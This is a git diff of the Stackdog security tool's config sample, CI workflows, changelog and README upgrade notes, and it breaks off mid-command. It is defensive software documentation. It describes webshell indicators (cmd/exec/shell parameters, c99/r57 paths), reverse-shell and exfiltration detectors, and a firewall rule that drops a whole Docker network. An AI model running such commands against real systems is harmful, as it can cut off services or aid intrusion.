diff --git a/.env.sample b/.env.sample index 17a893d..1766fe3 100644 --- a/.env.sample +++ b/.env.sample @@ -1,3 +1,8 @@ +# Stackdog configuration. +# Copy to .env in the working directory, or to ~/.config/stackdog/.env +# (`stackdog init` writes this file there). Real environment variables and +# the nearer file win; everything here is optional and defaults are safe. + #APP_HOST=localhost # in container APP_HOST=0.0.0.0 @@ -7,19 +12,127 @@ DATABASE_URL=stackdog.db RUST_BACKTRACE=full # Log Sniff Configuration -#STACKDOG_LOG_SOURCES=/var/log/syslog,/var/log/auth.log +#STACKDOG_LOG_SOURCES=/var/log/syslog,/var/log/auth.log,/var/log/nginx/access.log #STACKDOG_SNIFF_INTERVAL=30 #STACKDOG_SNIFF_OUTPUT_DIR=./stackdog-logs/ +#STACKDOG_SERVE_SNIFF_ENABLED=true # AI Provider Configuration # Supports OpenAI, Ollama (http://localhost:11434/v1), or any OpenAI-compatible API +# `stackdog serve` defaults to the local pattern analyzer unless you override this. #STACKDOG_AI_PROVIDER=openai #STACKDOG_AI_API_URL=http://localhost:11434/v1 #STACKDOG_AI_API_KEY= #STACKDOG_AI_MODEL=llama3 +# How long the same finding stays suppressed before it alerts again (seconds). +# Default 21600 (6h). Standing misconfigurations are re-detected every pass, so +# a short window means the same alert all day. +#STACKDOG_ALERT_DEDUP_WINDOW_SECS=21600 + +# Dashboard base URL. When set, every notification carries a link straight to +# the alert (/#alerts/{id}). Point it at the UI container, not the API. +#STACKDOG_UI_URL=https://stackdog.example.com + # Notification Channels # Slack: create an incoming webhook at https://api.slack.com/messaging/webhooks #STACKDOG_SLACK_WEBHOOK_URL=https://hooks.slack.com/services/T.../B.../xxxxx +# Slack sender identity. Only honored by legacy custom-integration webhooks or a +# bot token with chat:write.customize; Slack-app webhooks use the app's own name +# and icon, which you set under Basic Information > Display Information. +#STACKDOG_SLACK_USERNAME=Stackdog +# Defaults to https://stackdog.app/stackdog-mark.png, falling back to the +# GitHub raw copy if that host does not answer. Setting this skips the probe. +#STACKDOG_SLACK_ICON_URL=https://stackdog.app/stackdog-mark.png +# Discord: create an incoming webhook in your channel settings +# (Edit Channel > Integrations > Webhooks). Alerts arrive as plain messages +# under the webhook's own name and avatar; Discord allows 2000 characters, +# longer alerts are truncated to fit. +#STACKDOG_DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/.../... +# Telegram: create a bot with @BotFather, invite it to a channel or group, and +# set both values. Alerts only — action notifications (bans, quarantines) are +# not sent to Telegram. Telegram allows 4096 characters per message; longer +# alerts are truncated to fit. +#STACKDOG_TELEGRAM_BOT_TOKEN=123456789:AAF... +#STACKDOG_TELEGRAM_CHAT_ID=-1001234567890 # Generic webhook endpoint for alert notifications #STACKDOG_WEBHOOK_URL=https://example.com/webhook +#STACKDOG_SMTP_HOST=smtp.example.com +#STACKDOG_SMTP_PORT=587 +#STACKDOG_SMTP_USER=alerts@example.com +#STACKDOG_SMTP_PASSWORD=secret +#STACKDOG_EMAIL_RECIPIENTS=soc@example.com,oncall@example.com +# Identity shown as "Instance" in notifications — say which host sent the +# alert. Falls back to the machine hostname when unset; set this explicitly +# for stable names in a fleet. +#STACKDOG_NOTIFICATION_LABEL=prod-eu-1 +#STACKDOG_NOTIFICATION_MIN_SEVERITY=critical +# +# Action notification toggles +#STACKDOG_NOTIFY_IP_BAN_ACTIONS=true + +# Never ban these, whatever the logs say. Comma-separated, bare addresses or +# CIDR notation. Put load balancers, health checkers and VPN gateways here: +# banning them takes the service down with them. Empty by default. +#STACKDOG_IP_BAN_ALLOWLIST=167.233.9.19,10.0.0.0/8 +# Ceiling on blocks per minute. A burst is far more often a misread log than a +# crowd of attackers; the ceiling caps the damage. 0 disables it. +#STACKDOG_IP_BAN_MAX_PER_MINUTE=10 +# Whether findings written by the AI analyzer may trigger a ban. Detector-backed +# findings are unaffected. Set to false to ban only on deterministic detectors. +#STACKDOG_IP_BAN_FROM_AI_FINDINGS=true +# Never ban addresses of this host or its containers (interface addresses, docker +# network subnets). A DROP rule for one of those severs the service from itself. +# Off only to block a local address deliberately. +#STACKDOG_IP_BAN_PROTECT_LOCAL_IPS=true +#STACKDOG_NOTIFY_QUARANTINE_ACTIONS=true + +# Mail abuse guard. The traffic heuristic alone matches ordinary HTTP/JSON +# chatter between microservices, so quarantine (a network disconnect) requires +# observed SMTP egress (ports 25/465/587 in the conntrack table) on top of it. +# A match without SMTP evidence is an alert. Set to false to quarantine on the +# traffic heuristic alone. +#STACKDOG_MAIL_GUARD_REQUIRE_SMTP=true + +# PHP shell detection. Scans PHP files in web roots for webshell code and +# watches access logs for requests to them. A flagged file is an alert; a +# request that drives a shell (POST to PHP under an uploads/ URL, parameters +# sent to a flagged file) feeds the IP ban like any other detector finding. +# false turns off both the scan and the access-log detector. +#STACKDOG_PHPSHELL_ENABLED=true +# Host web roots to scan. Containers are found on their own (see below). +#STACKDOG_PHPSHELL_PATHS=/var/www +# Container name/image fragments that mark a PHP workload. Any container with +# something mounted at /var/www, /srv, /app or /usr/share/nginx/html is scanned +# as well, whatever its name. +#STACKDOG_PHPSHELL_CONTAINERS=php,wordpress,drupal,joomla,laravel,magento,apache,httpd +# Where the host filesystem is mounted when Stackdog runs in a container +# (- /:/host:ro). Needed to read host paths and container docroots. +#STACKDOG_HOST_ROOT=/host +#STACKDOG_PHPSHELL_SKIP_DIRS=vendor,node_modules,.git +#STACKDOG_PHPSHELL_MAX_FILE_BYTES=2097152 +# Extra signatures, JSON: [{"id","description","pattern","weight":"strong|medium|weak"}] +#STACKDOG_PHPSHELL_SIGNATURES=/etc/stackdog/php-shell-signatures.json +# PHP2Shell (CVE-2026-109618, CVE-2026-109619): alert on PHP builds older than +# the fixed releases, on the host and in running containers. Alert only. +#STACKDOG_PHP_VERSION_CHECK_ENABLED=true +# SSHole (CVE-2026-123158): flag OpenSSH builds older than 10.6p2 on musl +# systems (Alpine's default sshd is the vulnerable configuration), and ban +# password logins to key-only accounts. That login line is what a successful +# SSHole attack leaves behind. +#STACKDOG_SSHOLE_ENABLED=true +# Accounts that should never accept a password login. Defaults to root,alpine. +#STACKDOG_SSHOLE_KEYONLY_USERS=root,alpine +# CVE watch: match every package on the host and in containers against the +# public feeds (OSV + CISA's KEV catalog) and alert once per package and CVE. +# Refreshed at least daily, which is what catches newly published CVEs. +#STACKDOG_CVE_WATCH_ENABLED=true + +# --------------------------------------------------------------------------- +# Dashboard container (docker-compose.yml / docker-compose.app.yml) +# --------------------------------------------------------------------------- +# Host:port a browser uses to reach the API. Read by the dashboard container at +# start-up, so a restart is enough — no rebuild. +#STACKDOG_API_HOST=192.0.2.10:5000 +# Port the dashboard is published on. +#STACKDOG_UI_PORT=3000 diff --git a/.github/workflows/discord-release.yml b/.github/workflows/discord-release.yml new file mode 100644 index 0000000..54a527e --- /dev/null +++ b/.github/workflows/discord-release.yml @@ -0,0 +1,42 @@ +name: Discord Release + +on: + release: + types: [published] + workflow_dispatch: + inputs: + release_name: + description: Release title to post + required: true + release_body: + description: Release notes body to post + required: true + release_html_url: + description: Release URL to link in Discord + required: false + +permissions: + contents: read + +jobs: + notify-discord: + name: Post release to Discord + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: GitHub Releases to Discord + uses: SethCohen/github-releases-to-discord@v1 + with: + webhook_url: ${{ secrets.DISCORD_WEBHOOK_URL }} + release_name: ${{ inputs.release_name }} + release_body: ${{ inputs.release_body }} + release_html_url: ${{ inputs.release_html_url }} + color: "2105893" + username: "Stackdog Releases" + content: "" + footer_title: "Changelog" + footer_timestamp: true + reduce_headings: true + remove_github_reference_links: true diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index c900f1c..28451d8 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -43,6 +43,7 @@ jobs: - name: Build static release env: CARGO_TARGET_DIR: target-cross + STACKDOG_GIT_HASH: ${{ github.sha }} run: cross build --release --target x86_64-unknown-linux-musl - name: Build frontend @@ -98,4 +99,36 @@ jobs: with: context: . push: true - tags: trydirect/stackdog:latest + tags: | + trydirect/stackdog:latest + trydirect/stackdog:${{ github.sha }} + + docker-ui: + name: Dashboard Image Build & Push + runs-on: ubuntu-latest + # Independent of the Rust build: the dashboard is its own image, and there + # is no reason to wait on a cross-compile to publish it. + steps: + - uses: actions/checkout@v4 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + + - name: Login to Docker Hub + if: github.event_name == 'push' + uses: docker/login-action@v3 + with: + username: ${{ secrets.DOCKER_USERNAME }} + password: ${{ secrets.DOCKER_PASSWORD }} + + # No build args: the image is generic and reads its API address from the + # environment at container start. + - name: Build and push dashboard + uses: docker/build-push-action@v6 + with: + context: . + file: docker/ui/Dockerfile + push: ${{ github.event_name == 'push' }} + tags: | + trydirect/stackdog-ui:latest + trydirect/stackdog-ui:${{ github.sha }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 65e9855..eb44eb1 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -36,12 +36,14 @@ jobs: run: cargo install cross --git https://github.com/cross-rs/cross - name: Build release binary + env: + CARGO_TARGET_DIR: target-cross run: cross build --release --target ${{ matrix.target }} - name: Package run: | mkdir -p dist - cp target/${{ matrix.target }}/release/stackdog dist/stackdog + cp target-cross/${{ matrix.target }}/release/stackdog dist/stackdog cd dist tar czf ${{ matrix.artifact }}.tar.gz stackdog sha256sum ${{ matrix.artifact }}.tar.gz > ${{ matrix.artifact }}.tar.gz.sha256 diff --git a/.github/workflows/website-docker.yml b/.github/workflows/website-docker.yml new file mode 100644 index 0000000..67a213b --- /dev/null +++ b/.github/workflows/website-docker.yml @@ -0,0 +1,52 @@ +name: Website Docker CICD + +on: + push: + branches: [main, dev] + paths: + - 'website/**' + pull_request: + branches: [main, dev] + paths: + - 'website/**' + +jobs: + build-and-push: + name: Build & Push Website Image + runs-on: ubuntu-latest + permissions: + contents: read + + steps: + - uses: actions/checkout@v4 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + + - name: Login to Docker Hub + if: github.event_name == 'push' + uses: docker/login-action@v3 + with: + username: ${{ secrets.DOCKER_USERNAME }} + password: ${{ secrets.DOCKER_PASSWORD }} + + - name: Extract metadata + id: meta + uses: docker/metadata-action@v5 + with: + images: trydirect/stackdog-website + tags: | + type=raw,value=latest,enable=${{ github.ref == 'refs/heads/main' }} + type=raw,value=dev,enable=${{ github.ref == 'refs/heads/dev' }} + type=sha,format=short + + - name: Build and push + uses: docker/build-push-action@v6 + with: + context: ./website + file: ./website/Dockerfile + push: ${{ github.event_name == 'push' }} + tags: ${{ steps.meta.outputs.tags }} + labels: ${{ steps.meta.outputs.labels }} + cache-from: type=gha + cache-to: type=gha,mode=max diff --git a/.gitignore b/.gitignore index 89b9d61..5ebfe53 100644 --- a/.gitignore +++ b/.gitignore @@ -33,8 +33,7 @@ Cargo.lock # End of https://www.gitignore.io/api/rust,code .idea -<<<<<<< HEAD -======= *.db ->>>>>>> testing docs/tasks/ +web/node_modules/ +web/dist/ diff --git a/BUGS.md b/BUGS.md index 46766de..972da23 100644 --- a/BUGS.md +++ b/BUGS.md @@ -169,5 +169,5 @@ When fixing bugs, ensure: ## Contact For bug-related questions: -- **GitHub Issues:** https://github.com/vsilent/stackdog/issues +- **GitHub Issues:** https://github.com/trydirect/stackdog/issues - **Gitter:** https://gitter.im/stackdog/community diff --git a/CHANGELOG.md b/CHANGELOG.md index 38b1ddc..a814358 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,165 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [0.3.1] - 2026-11-13 + +### Added + +- CVE watch (`vuln.cve-watch`): matches every package on the host and in + running containers against the public feeds. OSV answers "does this exact + version have known vulnerabilities" (Debian and Ubuntu versions server-side, + Alpine versions without the `-rN` package revision), CISA's KEV catalog says + which are exploited in the wild — those are Critical, the rest carry the + advisory's severity label. Alerts once per package and CVE, 50 per pass + worst first, caches answers for 24h. A match means a fix is missing, not + that a box is exploitable: alerts say to check the vendor's advisory. + `STACKDOG_CVE_WATCH_ENABLED=false` turns it off. +- Configuration is also read from `~/.config/stackdog/.env` + (`$XDG_CONFIG_HOME/stackdog/.env` when set), behind the working-directory + `.env`: the nearest file wins and real environment variables win over both. + A missing file is no longer a warning — every setting has a default. +- `stackdog init` writes the starter config to that directory and never + overwrites an existing file (it holds credentials). +- Discord webhook notifications (`STACKDOG_DISCORD_WEBHOOK_URL`), routed exactly + like Slack: Critical, High and Medium alerts arrive as plain messages under + the webhook's own name and avatar, truncated to Discord's 2000 character + limit. The ban and detection findings flow through unchanged. +- Telegram notifications (`STACKDOG_TELEGRAM_BOT_TOKEN` + + `STACKDOG_TELEGRAM_CHAT_ID`), routed like Slack and Discord for alerts only: + action notifications are deliberately not sent to Telegram. Messages are + plain text through the Bot API, truncated to Telegram's 4096 character limit. + +## [0.3.0] - 2026-11-09 + +### Added + +- SSHole detection (CVE-2026-123158). `vuln.sshole` flags OpenSSH builds older + than 10.6p2 in the apk package database, on the host and in running + containers: that is the vulnerable class (musl, passwords checked without + PAM, Alpine's default). The PAM flavor and glibc distributions are not + affected and are not reported. `ssh.password-login` alerts on password + logins to key-only accounts (root, alpine by default, + `STACKDOG_SSHOLE_KEYONLY_USERS` extends the list) and feeds the ban engine: + that line is what a successful SSHole login leaves in the logs. A single + line bans the address on the spot (allowlists and protected addresses + exempt): a foothold must not wait for the offense threshold. + `STACKDOG_SSHOLE_ENABLED=false` turns both off. + +## [0.2.9] - 2026-10-31 + +### Added + +- `web.php2shell-attempt`: bans clients whose requests run PHP out of memory + before any script runs, the step every known PHP2Shell variant relies on. + Read from Apache error logs (`[client …] … Allowed memory size … in Unknown + on line 0`), nginx error logs in front of php-fpm (`upstream sent + unexpected FastCGI record … request: "POST …"`), and the public scanner's + `php2shell-…` User-Agent. Each line is one offense, so five in the ban + window ban the client in the same pass. Only the client and request are + kept from nginx lines: `server:` and `host:` can be this server's own + address. +- The `vuln.php2shell` alert now names the interim workaround, + `session.upload_progress.enabled = 0`. + +## [0.2.8] - 2026-10-31 + +### Added + +- PHP2Shell exposure check (CVE-2026-109618, CVE-2026-109619). Each sniff pass + reads the PHP version on the host and in running containers (package + database, and `PHP_VERSION` for official images) and alerts on builds older + than 8.2.35, 8.3.36, 8.4.27 or 8.5.12 (`vuln.php2shell`). Distribution + packages get a "check your vendor" alert instead, because backports keep the + old version number. `STACKDOG_PHP_VERSION_CHECK_ENABLED=false` turns it off. +- `php.worker-crash`: an alert when php-fpm or Apache workers keep dying on + memory faults, which is what attempts against PHP memory bugs leave behind. + Neither finding bans. + +### Fixed + +- Scan findings (file integrity, PHP shell files, package and posture checks) + shared one dedup key per detector, so when a pass found several distinct + things, only the first alerted and the rest were dropped. They now key on + what they found; log findings still key on the detector alone. + +## [0.2.7] - 2026-10-31 + +### Added + +- PHP shell detection. Each sniff pass scores the PHP files in host web roots + (`STACKDOG_PHPSHELL_PATHS`) and in the docroots of PHP containers for webshell + code, and alerts on new or changed files that score as one (`php.shell-file`). + Requests that drive a shell — any request to a flagged upload through an + `uploads/` URL, parameters sent to a flagged file that is not a common entry + point, a POST to PHP under an `uploads/` URL (PATH_INFO and `//`, `.`, `..` + resolved) — are banned like other detector findings (`web.php-shell-access`). + A plain visit to an infected page is an alert only (`php.shell-request`). + Running in Docker, mount the host read-only and set `STACKDOG_HOST_ROOT`. + Extra signatures load from JSON (`STACKDOG_PHPSHELL_SIGNATURES`). + +### Fixed + +- `web.webshell-probe` matched its indicators anywhere in a log line, so `c99` + inside a request id or token in stacker's agent request logs raised a + webshell alert and an offense. It now reads the request URL only: a + `cmd`/`exec`/`shell` parameter, a shell or downloader in the URL, or a path + segment named after c99/r57. + +## [0.2.6] - 2026-10-27 + +### Fixed + +- **The AI `ban_ip` tool must name a confirmed attack.** It banned addresses + for "repeated connection attempts" — background internet noise the auto path + deliberately ignores. Weak reasons are now refused with a message telling the + model to report an alert instead, tool-driven bans respect the per-minute + ceiling (the CLI stays exempt), and the tool description says what counts as + a confirmed attack. +- **Alerts say which host sent them.** The Slack "Instance" field comes from + `STACKDOG_NOTIFICATION_LABEL`, and now falls back to the machine hostname + when the label is unset — an unattributable alert is half an alert in a fleet. + +## [0.2.5] - 2026-10-26 + +### Fixed + +- **Infrastructure addresses can no longer be banned.** Every ban path (log + sniffing, `stackdog ban-ip`, the AI `ban_ip` tool) now passes a gate that + refuses CIDR ranges (iptables accepts `-s 172.16.0.0/12` and drops a whole + Docker network), private and loopback addresses, `STACKDOG_IP_BAN_ALLOWLIST` + entries, and addresses of the host or its containers. The CLI and AI paths + used to skip all of these checks. +- **Ban rules are tagged and reconciled.** Rules now carry a `stackdog` marker; + on start, rules with no database record are removed and recorded bans with no + rule are re-applied — a crash between the firewall write and the database + write used to strand a DROP rule nothing would ever remove. +- **Expired bans are released in `stackdog sniff` too.** The expiry loop ran + only under `serve`; a sniff-only deployment banned permanently. +- **`web.login-bruteforce` no longer fires on bare `401` lines.** Inter-service + auth noise in microservice stacks read as a brute-force attempt. +- **Mail abuse guard requires SMTP evidence before quarantining.** The traffic + heuristic matches ordinary HTTP/JSON chatter; quarantine (disconnecting the + container from its networks) now also needs observed egress to ports + 25/465/587. A match without it is an alert. `STACKDOG_MAIL_GUARD_REQUIRE_SMTP` + restores the old behaviour. +- **nftables generic mutators actually apply.** `create_chain`, `delete_chain`, + `add_rule`, and `flush_chain` ran `nft -c` (check-only) and changed nothing. + +### Added + +- `stackdog unban ` — release a ban and remove its firewall rules, even + when the database has no record of it (crash leftovers). +- `stackdog unban --all` — release every ban and remove every Stackdog firewall + rule: the one command to restore connectivity after a wrong ban. +- `stackdog firewall list` — show blocked addresses in the firewall and the + database side by side. +- `stackdog firewall reconcile` — run the startup reconciliation on demand. +- AI tool `unban_ip`, symmetric to `ban_ip`. +- `STACKDOG_IP_BAN_PROTECT_LOCAL_IPS` (default `true`) — never ban addresses of + this host or its containers. + +## [0.2.2] - 2026-04-07 + ### Fixed - **CLI startup robustness** — `.env` loading is now non-fatal. @@ -19,6 +178,16 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **Expanded detector framework** with additional log-driven detection coverage. + - Reverse shell, sensitive file access, cloud metadata / SSRF, exfiltration chain, and secret leakage detectors. + - file integrity monitoring with SQLite-backed baselines via `STACKDOG_FIM_PATHS`. + - configuration assessment via `STACKDOG_SCA_PATHS`. + - package inventory heuristics via `STACKDOG_PACKAGE_INVENTORY_PATHS`. + - Docker posture audits for privileged mode, host namespaces, dangerous capabilities, Docker socket mounts, and writable sensitive mounts. + +- **Improved syslog ingestion** + - RFC3164 and RFC5424 parsing in file-based log ingestion for cleaner timestamps and normalized message bodies. + #### Log Sniffing & Analysis (`stackdog sniff`) - **CLI Subcommands** — Multi-mode binary with `stackdog serve` and `stackdog sniff` - `--once` flag for single-pass mode @@ -76,6 +245,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Refactored `main.rs` to dispatch `serve`/`sniff` subcommands via clap - Added `events`, `rules`, `alerting`, `models` modules to binary crate - Updated `.env.sample` with `STACKDOG_LOG_SOURCES`, `STACKDOG_AI_*` config vars +- Version metadata updated to `0.2.2` across Cargo, the web package manifest, and current release documentation. ### Testing @@ -293,7 +463,7 @@ This release was made possible by contributions from: ## Links -- **GitHub:** https://github.com/vsilent/stackdog +- **GitHub:** https://github.com/trydirect/stackdog - **Documentation:** See docs/ directory -- **Issues:** https://github.com/vsilent/stackdog/issues -- **Discussions:** https://github.com/vsilent/stackdog/discussions +- **Issues:** https://github.com/trydirect/stackdog/issues +- **Discussions:** https://github.com/trydirect/stackdog/discussions diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 6982b06..f535a22 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -30,7 +30,7 @@ git clone https://github.com/YOUR_USERNAME/stackdog cd stackdog # Add upstream remote -git remote add upstream https://github.com/vsilent/stackdog +git remote add upstream https://github.com/trydirect/stackdog ``` ### 2. Setup Development Environment @@ -353,8 +353,8 @@ Update relevant documentation: ## Questions? - **General questions:** [Gitter](https://gitter.im/stackdog/community) -- **Bug reports:** [GitHub Issues](https://github.com/vsilent/stackdog/issues) -- **Feature requests:** [GitHub Discussions](https://github.com/vsilent/stackdog/discussions) +- **Bug reports:** [GitHub Issues](https://github.com/trydirect/stackdog/issues) +- **Feature requests:** [GitHub Discussions](https://github.com/trydirect/stackdog/discussions) --- diff --git a/Cargo.toml b/Cargo.toml index e2e6c0e..eae8d6c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,14 +1,19 @@ [package] name = "stackdog" -version = "0.2.1" +version = "0.3.1" authors = ["Vasili Pascal "] edition = "2021" description = "Security platform for Docker containers and Linux servers" license = "MIT" -repository = "https://github.com/vsilent/stackdog" +repository = "https://github.com/trydirect/stackdog" +homepage = "https://stackdog.app" +documentation = "https://stackdog.app/docs" readme = "README.md" keywords = ["security", "docker", "containers", "ebpf", "firewall"] categories = ["security", "development-tools"] +# The workspace root is the repo root, so keep the two frontend trees out of +# the crate package: the published artifact is the server binary. +exclude = ["/web/", "/website/", "/ebpf/"] [workspace] members = [ @@ -25,8 +30,8 @@ uuid = { version = "1", features = ["v4"] } log = "0.4" env_logger = "0.11" tracing = "0.1" -tracing-subscriber = "0.3" -dotenv = "0.15" +tracing-subscriber = "0.3.23" +dotenvy = "0.15.7" anyhow = "1" thiserror = "1" clap = { version = "4", features = ["derive"] } @@ -41,14 +46,16 @@ actix = "0.13" async-trait = "0.1" # Database -rusqlite = { version = "0.32", features = ["bundled"] } +rusqlite = { version = "0.39", features = ["bundled"] } r2d2 = "0.8" # Docker bollard = "0.16" # HTTP client (for LLM API) -reqwest = { version = "0.12", default-features = false, features = ["json", "blocking", "rustls-tls"] } +reqwest = { version = "0.12.24", default-features = false, features = ["json", "blocking", "rustls-tls"] } +sha2 = "0.10" +regex = "1" # Compression zstd = "0.13" @@ -60,14 +67,14 @@ lettre = { version = "0.11", default-features = false, features = ["tokio1", "to # eBPF (Linux only) [target.'cfg(target_os = "linux")'.dependencies] aya = "0.12" -aya-obj = "0.1" +aya-obj = "0.2" # Firewall (Linux only) -netlink-packet-route = "0.17" +netlink-packet-route = "0.29" netlink-sys = "0.8" # ML (optional) -candle-core = { version = "0.3", optional = true } +candle-core = { version = "0.10", optional = true } candle-nn = { version = "0.3", optional = true } [features] diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md index dac5b79..a05d34e 100644 --- a/DEVELOPMENT.md +++ b/DEVELOPMENT.md @@ -1,7 +1,7 @@ # Stackdog Security - Development Plan -**Last Updated:** 2026-03-13 -**Current Version:** 0.2.0 +**Last Updated:** 2026-04-07 +**Current Version:** 0.3.1 **Status:** Phase 2 In Progress ## Project Vision @@ -560,7 +560,7 @@ cargo-deny = "0.14" |---------|-------------|----------|--------| | **v0.1.0** | 2022-03-01 | Initial container management | ✅ Released | | **v0.2.0** | 2026-03-13 | Security platform foundation | ✅ Complete | -| **v0.3.0** | Week 10 | ML anomaly detection | 🚧 In Progress | +| **v0.3.1** | Week 10 | ML anomaly detection | 🚧 In Progress | | **v0.4.0** | Week 12 | Alerting system | ⏳ Pending | | **v0.5.0** | Week 16 | Web dashboard | ⏳ Pending | | **v1.0.0** | Week 18 | Production release | ⏳ Pending | @@ -597,7 +597,7 @@ cargo-deny = "0.14" ```bash # Clone repository -git clone https://github.com/vsilent/stackdog +git clone https://github.com/trydirect/stackdog cd stackdog # Install Rust (if not installed) diff --git a/QWEN.md b/QWEN.md index 9ce8ee0..946405d 100644 --- a/QWEN.md +++ b/QWEN.md @@ -74,7 +74,7 @@ stackdog/ ```bash # Clone and setup -git clone https://github.com/vsilent/stackdog +git clone https://github.com/trydirect/stackdog cd stackdog # Environment setup diff --git a/README.md b/README.md index 8cf37e7..9d6eb16 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Stackdog Security -![Version](https://img.shields.io/badge/version-0.2.1-blue.svg) +![Version](https://img.shields.io/badge/version-0.3.1-blue.svg) ![License](https://img.shields.io/badge/license-MIT-green.svg) ![Rust](https://img.shields.io/badge/rust-1.75+-orange.svg) ![Platform](https://img.shields.io/badge/platform-linux%20%7C%20macos%20%7C%20windows-lightgrey.svg) @@ -19,8 +19,10 @@ - **📊 Real-time Monitoring** — eBPF-based syscall monitoring with minimal overhead (<5% CPU) - **🔍 Log Sniffing** — Discover, read, and AI-summarize logs from containers and system files +- **🐘 PHP Shell Detection** — Finds webshells in host and container web roots and bans the clients driving them +- **🧭 Detector Framework** — Rust-native detector registry for web attack heuristics and outbound exfiltration indicators - **🤖 AI/ML Detection** — Candle-powered anomaly detection + OpenAI/Ollama log analysis -- **🚨 Alert System** — Multi-channel notifications (Slack, email, webhook) +- **🚨 Alert System** — Multi-channel notifications (Slack, Discord, Telegram, email, webhook) - **🔒 Automated Response** — nftables/iptables firewall, container quarantine - **📈 Threat Scoring** — Configurable scoring with time-decay - **🎯 Signature Detection** — 10+ built-in threat signatures @@ -30,6 +32,7 @@ ## 📖 Table of Contents +- [Upgrading](#-upgrading) - [Quick Start](#-quick-start) - [Architecture](#-architecture) - [Features](#-features) @@ -42,17 +45,141 @@ --- +## ⬆️ Upgrading + +Notes for anyone moving from **v0.2.4 or earlier**. Nothing here needs to be run +by hand, but two changes alter behaviour you may be relying on. + +### IP banning is stricter about who it accuses + +Earlier versions could ban addresses that were merely present in a log the +analyzer was reading: + +- a finding whose sample line named no address caused **every** address in that + batch to be banned; +- descriptions containing `frequent access`, `targeting`, `scanning`, + `possible attack` or `rejected connection` counted as grounds for a ban; +- an auth-log line naming both client and server banned both; +- browser versions in User-Agent strings (`Chrome/122.0.0.0`) parsed as + addresses and were banned as `122.0.0.0`. + +Bans now follow only the evidence: the sample line, then the description. A +finding that accuses nobody raises an alert and stops there. + +Three settings are worth reviewing after upgrading: + +| Variable | Default | Why | +|---|---|---| +| `STACKDOG_IP_BAN_ALLOWLIST` | empty | Addresses never banned. Put load balancers, health checkers and this host's own public address here — banning them takes the service down. | +| `STACKDOG_TRUSTED_PROXY_RANGES` | RFC1918 only | A public-facing proxy is **not** covered by the defaults, so its own address is banned instead of the client behind it. Add it as `/32`. | +| `STACKDOG_IP_BAN_MAX_PER_MINUTE` | `10` | Ceiling on blocks per minute. A burst is more often a misread log than a crowd of attackers. `0` disables it. | + +To ban only on deterministic detectors and never on analyzer prose, set +`STACKDOG_IP_BAN_FROM_AI_FINDINGS=false`. + +### Infrastructure addresses can no longer be banned + +In a microservice stack the ban plane used to turn on the application itself: + +- a service calling its peers over published ports or a load balancer logged + the peer's address, and a wrong ban dropped it in `INPUT` **and** `FORWARD` — + the service lost its own components; +- `stackdog ban-ip` and the AI `ban_ip` tool accepted any string, CIDR ranges + included, and skipped the allowlist — `iptables -s 172.16.0.0/12 -j DROP` + would take down a Docker network; +- a crash between the firewall write and the database write left a DROP rule + nothing would ever remove, and there was no way to clear it. + +Every ban path now refuses addresses that belong to you: CIDR ranges, private +and loopback addresses, allowlist entries, and the addresses of this host and +its containers (`STACKDOG_IP_BAN_PROTECT_LOCAL_IPS`, on by default). Rules are +tagged and reconciled against the database on every start. + +If the network is blocked and you need it back **now**: + +```bash +stackdog firewall list # what is blocking what +stackdog unban # release one address, rules or no rules +stackdog unban --all # remove every Stackdog rule, release every ban +stackdog firewall reconcile # drop orphans, restore missing rules +``` + +Two related changes: bare `401` lines no longer count as a brute-force attempt, +and the mail abuse guard quarantines a container only when it is actually +observing outbound SMTP (`STACKDOG_MAIL_GUARD_REQUIRE_SMTP`, on by default) — +the traffic heuristic alone matches ordinary service chatter, and quarantine is +a network disconnect that needs manual release. + +### The offense table is rewritten on first start + +`ip_offenses` held one row per detection with `offense_count` stuck at `1`, so +the table grew with every hit and one ban left several rows behind — which is +why a single expiry emitted several "Released IP ban" notifications. + +The first start after upgrading collapses each `(ip_address, source_type)` group +into one row carrying the tally and the earliest sighting, keeping a live block +over a released one, then enforces the layout with a unique index. It runs once, +automatically, and is skipped on later starts. + +**Back up the database first** if its history matters to you: + +```bash +docker exec sqlite3 /data/stackdog.db ".backup '/data/stackdog.pre-upgrade.db'" +``` + +### Stackdog no longer reads its own logs + +Running in Docker, it used to analyze its own output and report its own errors +as findings. It now skips its own container. Detection works without +configuration, but under `network_mode: host` the surest signal is a label: + +```yaml +labels: + com.trydirect.stackdog.ignore: "true" +``` + +The same label excludes any other container you would rather not analyze. + +### The dashboard has its own image + +`trydirect/stackdog-ui:latest` is published alongside the backend. Pointing a +dashboard service at `trydirect/stackdog:latest` starts a second copy of the +backend instead, listening on 5000 while port 3000 maps to nothing. + +The API address is read from the environment at container start, so changing it +is a restart rather than a rebuild: + +```yaml +stackdog-ui: + image: trydirect/stackdog-ui:latest + environment: + STACKDOG_API_URL: http://:5000/api + STACKDOG_WS_URL: ws://:5000/ws + ports: + - "3000:80" +``` + +Build args named `REACT_APP_*` never reached the bundle in earlier versions, so +any address configured that way was silently ignored. + +### Alerts can link back to the dashboard + +Set `STACKDOG_UI_URL` and every notification carries a link to the alert that +fired. Left unset, notifications look as they did before. + +--- + ## 🚀 Quick Start ### Install with curl (Linux) ```bash -curl -fsSL https://raw.githubusercontent.com/vsilent/stackdog/main/install.sh | sudo bash +curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash ``` Pin a specific version: ```bash -curl -fsSL https://raw.githubusercontent.com/vsilent/stackdog/main/install.sh | sudo bash -s -- --version v0.2.1 +curl -fsSL 